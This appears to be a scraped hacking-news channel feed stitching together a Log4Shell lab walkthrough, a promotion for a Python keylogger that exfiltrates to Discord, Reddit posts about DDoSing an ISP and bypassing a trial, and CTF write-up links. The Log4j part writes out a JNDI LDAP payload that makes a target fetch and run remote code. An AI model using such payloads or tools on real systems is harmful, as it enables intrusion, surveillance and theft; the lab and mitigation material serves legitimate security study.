Hacking on Medium
Legacy: HTB Writeup

https://cdn-images-1.medium.com/max/975/1*fmQbtWTCGAvH3-q__VG2qA.png
Recon

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
A Detailed Guide on Log4J Penetration Testing

In this article, we are going to discuss and demonstrate in our lab setup, the exploitation of the new vulnerability identified as CVE-2021-44228 affecting the java logging package, Log4J.This vulnerability has a severity score of 10.0, most critical designation and offers remote code execution on hosts engaging with software that uses log4j utility. This attack has also been called “Log4Shell”.Table of content1. Log4jShellLog4jshell Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. Vulnerability TypeRemote Code ExecutionSeverity CriticalBase CVSS Score10.0 Versions Affected All versions from 2.0-beta9 to 2.14.1CVE-2021-45046It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.Vulnerability TypeRemote Code ExecutionSeverity CriticalBase CVSS Score9.0 Versions AffectedAll versions from 2.0-beta9 to 2.15.0, excluding 2.12.2CVE-2021-45105Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack.Vulnerability TypeDenial of ServiceSeverity HighBase CVSS Score7.5 Versions AffectedAll versions from 2.0-beta9 to 2.16.0What is Log4J. Log4j is a Java based logging utility which is part of the Apache Logging Services. Log4j is one of the several Java logging frameworks which is popularly used by millions of Java applications on the internet. What is LDAP and JNDI(Lightweight Directory Access Protocol) is an open and cross platform protocol which is used for directory service authentication. It provides the communication language that application uses to communicate with other directory services. Directory services store lots of important information like, user accounts details, passwords, computer accounts, etc which are share with other devices on the network. JNDI(Java Naming and Directory Interface) is an application programming interface (API) that provides naming a[...]

___________________________
@hacking_Attack
@Hacking_Video

nd directory functionality to applications written using Java Programming Language. JNDI and LDAP ChemistryJNDI provides a standard API for interacting with name and directory services using service provider interface (SPI). JNDI provides Java applications and objects a powerful and transparent interface to access directory services like LDAP. The table below shows the common LDAP and JNDI equivalent operations. Log4J JNDI LookupLookups is a kind of mechanism that add values to the log4j configuration at arbitrary places. Log4j has the ability to perform multiple lookups such as map, system properties and JNDI (Java Naming and Directory Interface) lookups. LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service),etc. if this functionality is implemented, the we should this line of code somewhere in the program: ${jndi:logging/context-name}A Normal Log4J Scenariohttps://blogger.googleusercontent.com/img/a/AVvXsEjjRJfgfugQqnMhK2bvwSaURO2kLn9OiUSZYLCVPte_bygG_sqdupugk90QxmJsVRXw85l-uhM_4C4Looo1-BpbpMHH3CxAWQsVr_yyoyllFuTKryCjxgRBVJW2hdz0MN0r9YZPpbEmogkv82Dbn01P9qqs8HmjdSxCvDO08DK7dWhR4FbavyC3pDy4nA=s16000 The above diagram shows a normal log4j scenario. Exploit Log4j ScenarioAn attacker who can control log messages or log messages parameters can execute arbitrary code on the vulnerable server loaded from LDAP servers when message lookup substitution is enabled. As a result, an attacker can craft a special request that would make the utility remotely downloaded and execute the payload.${jndi:ldap://Pentest Lab SetupIn the lab Setup, we will use Kali VM as the attacker machine and Ubuntu VM as the target machine. So let’s prepare the ubuntu machine. Browse to the github url  https://github.com/kozmer/log4j-shell-poc .git  and git clone the whole repository. cd Log4j-shell-poc. Once inside that directory we can now execute the docker command: docker build -t log4j-shell-poc . https://blogger.googleusercontent.com/img/a/AVvXsEhfG-eMKNkLO0u-QS8BieI9RJfUdKe1f8F82ooq7IQoFlXvC[...]

___________________________
@hacking_Attack
@Hacking_Video

EX5BoaENV-4B3no6VMozRMXiNj-cCILeJNDiIFFoVARHct4XU2Lv1bEUNm1Tn8GW74JDwwq0lAxuL7uFPg74IsYTMxMSrCp8k7CTRBISMeVejwQK9rQq8V_DhpeBtGa1Akx6wFRfimr4g=s16000 After that, run the second command on the github page: docker run --network host log4j-shell-poc.These 2 commands will enable us to use the docker file with a vulnerable app. Exploiting Log4j (CVE-2021-44228)On the kali machine, we need to git clone same repository. So type the following command: git clone https://github.com/kozmer/log4j-shell-poc.githttps://blogger.googleusercontent.com/img/a/AVvXsEgrQAMs8GiS5_OAzpA5Z6Jmz8uDW6KiXiHF85x5pUwK9saKR8NO6K7E6oY6m6hPzkaIZNogreRUNFVP8-juULZPWzBFRCRg7rdnYXEUIycBwWM0d9QKTF9hMIb1f3P-JDTQ2QcMPZseFB4xy3wLUgj5Ma9-FHCHLEQfJidvpZISy8F8gv_e1gixAzaYQw=s16000 Now we need to install the JDK version. This can be downloaded at the following link. https://mirrors.huaweicloud.com/java/jdk/8u202-b08/Click on the correct version and download that inside the kali linux. tar -xf jdk-8u202-linux-x64.tar.gz . No we need to move the extracted file to the folder usr/bin and browse to the folder /usr/bin/ and verify if jdk is here.___________________________
@hacking_Attack
@Hacking_Video

ontent.com/img/a/AVvXsEig0sLXy4Tzk52oCUKcnt57OgpkMcxyJqOubDGExUISZ3LDaqrG0PcOoGy4XKhS-qcLSyLctj_dkxm98Ga2pWuqTMkl8eRDWU9CxGoC9ZPe4sJz4pOX5oHRUNwMQ19yu8y5SFzPBf3t8dK5NzdEKBPNVMAfr5KfdG4eeHq642BljHJbOW-0gBZ_gdQU9A=s16000 Type the following command poc.pypython3 -userip 192.168.1.108 –webport 8080 –lport 9001in a terminal. Make sure you are in the log4j-shell-poc directory when executing the command. ${jndi:ldap://192.168.1.108:1389/a}and paste it inside the browser in the username field. This will be our payload. In the password field, you can provide anything. MitigationImplement one of the following mitigation techniques:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classCVE-2021-45046:Fixed in Log4j 2.12.2 (Java 7) and Log4j 2.16.0 (Java 8)Implement one of the following mitigation techniques:CVE-2021-45105:Fixed in Log4j 2.17.0 (Java 8)Implement one of the following mitigation techniques:https://logging.apache.org/log4j/2.x/security.html___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Reaper: Log keystrokes, take screenshots, grab system information and exfiltrate to Discord and Google Forms. It works for games, messengers, browsers and requires minimum setup.

Reaper is a multi-platform keylogger, screengrabber and information gatherer written in Python 3.

The keylogger module captures all keyboard events independently of which application is being run. Keystrokes on browsers, games, messengers, etc., are all monitored. Similarly, the screenshot module captures images from the active monitor in spite of which application generates them. System information such as OS name, kernel version, architecture and environment variables are also captured.

All data is exfiltrated to a Discord server and/or Google Forms instance through HTTPS. An unlimited number of targets can be monitored simultaneously through both methods.

Linux and Windows binaries are available for download for portability and ease of execution.

Check it out at https://github.com/EONRaider/BCA-Reaper

submitted by /u/EONRaider
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can one ddos his isp ???

he kinda turned off my wifi in the middle of a senior's test for no fucking reason, he does it all the time and refuses to fix it and this was the final straw. I have loic but I cant find his IP address......

submitted by /u/Totallynotshaft
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I ddos attacked myself

I’m just a kid and I didn’t want to ddos others because it’s illegal and I really wanted to try it so I did it on my self. Next day the router can’t give internet wirelessly (I can connect to it but there’s no internet) but wired connection works fine.

Was it my action that possibly affected the wireless connection? (Keep in mind my isp cuts the internet sometimes because they be having issues so this might be one because wireless connection didn’t go off exactly after the ddos attack)

Did I finish the bandwidth? I think it’s clear that I don’t know nothing so help me please.

My biggest fear, is there a chance that I just recruited my self for a botnet?

Also a fast explanation of internet, Wi-Fi and ddos would be great so I don’t stay uneducated.

If any info is needed to help me just comment and I will tell.

Also I know this kind of posts should be in r tech support but they kept deleting my posts there.

submitted by /u/this-account-is-new
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
A Detailed Guide on Log4J Penetration Testing

In this article, we are going to discuss and demonstrate in our lab setup, the exploitation of the new vulnerability identified as CVE-2021-44228 affecting the

The post A Detailed Guide on Log4J Penetration Testing appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Mercury: Vulnhub Walkthrough

https://cdn-images-1.medium.com/max/950/0*5ln8EB952NYwOgOI.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I think I found an undetected malware... I think. What now? Do I report it somewhere?

Hi all,
Writing for some advice as I'm not an expert on the topic at all.

I went to a copy shop with a USB stick with some files on it. I plugged it in the PC, and something weird happen to the directory structure of the USB stick. I paid little attention I was in a rush, and in the end I managed to print the files.

Week after, I go back to the same copy shop and the same thing happens again. Now I got curious and I poked around the USB stick at home. It turns out the "weird directory structure" on the USB stick is a windows shortcut (.lnk) that looks like a link to the USB stick itself (same icon, same name as the USB stick) BUT in reality it executes cmd.exewith some parameters. The original content of the USB stick has been moved to a folder on the stick that has been made hidden, so when opening the USB stick one sees a shortcut to the USB stick itself only. As said, the shortcut is not actually a shortcut to the USB stick, it just looks like it. From what I understand the shortcut passes the content of a hidden file, that is now also on the USB stick, as input to cmd.exe(i.e. something like cmd.exe < wbq.usb). And then somehow it opens the hidden folder with your original files. The user, if they fail to notice the little "shortcut" icon badge on the shortcut, might thing double clicking on the USB drive didn't work the first time and just click it again and now it works (but they unknowingly run the cmd.exe)

So, now I want to know if I got infected with malware, and with what malware.

I submitted the lnkfile and the hidden file to VirusTotal.

For the lnkfile, I get 4 vendors out of 57 flagging it as malicious. I guess it flags anything that executes CMD as potentially malicious? For the hidden file (wbq.usb), I get 0 vendors detecting it as malicious.

There so many red flags here that I'm pretty sure something fishy is going on. I opened the hidden file with an hex editor and I found a string with an http URL that looks fishy and includes the URL parameter "%computername%" as if it was sending this info out.

This must be some kind of malware, right? None of the VirusTotal vendor detected the wbq.usbas malicious, should I report it to someone for further analysis? Would it help at all? i.e. if it's indeed a malware that currently evades detection, vendors can add it to their list, right? I just want to make sure this malware doesn't cause damage to others.

... and from now on, better change copy shop :)

submitted by /u/pidumobe
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Need some help to share my passion for cybersecurity with a younger generation

submitted by /u/2X2Dragon
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to add code for file saving to a software?

I downloaded the free trial version of asesprite. the only problem is that it doesn't save (because it's a trial version).

I have access to all the files that run the program (I think). I also know how to code. I was wondering how I can save a thing I have created as a .ase file.

even better it has a button for saving and downloading. but when I click it it just tells me that you can't save and doesnt nothing at the moment.

does anyone know how I can fix this. or should I be a normal person and do it the right way?

submitted by /u/Wheezenog
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Fake Wifi Network

Disclaimer: I am not one to use hacking for malicious purposes, only for testing on my own network and my own machine(s).

Hello,

I am relatively new to hacking however I do have some prior experience. I am looking for a way to setup a fake wifi network to do some info testing on my backup machine. Any recommendations?

submitted by /u/ChickenParm277
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
picoCTF write up: Where are the robots

https://cdn-images-1.medium.com/max/600/1*KlGimrIDTFUJqDXnARmz1w.jpeg
Note: You should not copy flag from here just find one by following steps mentioned here.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video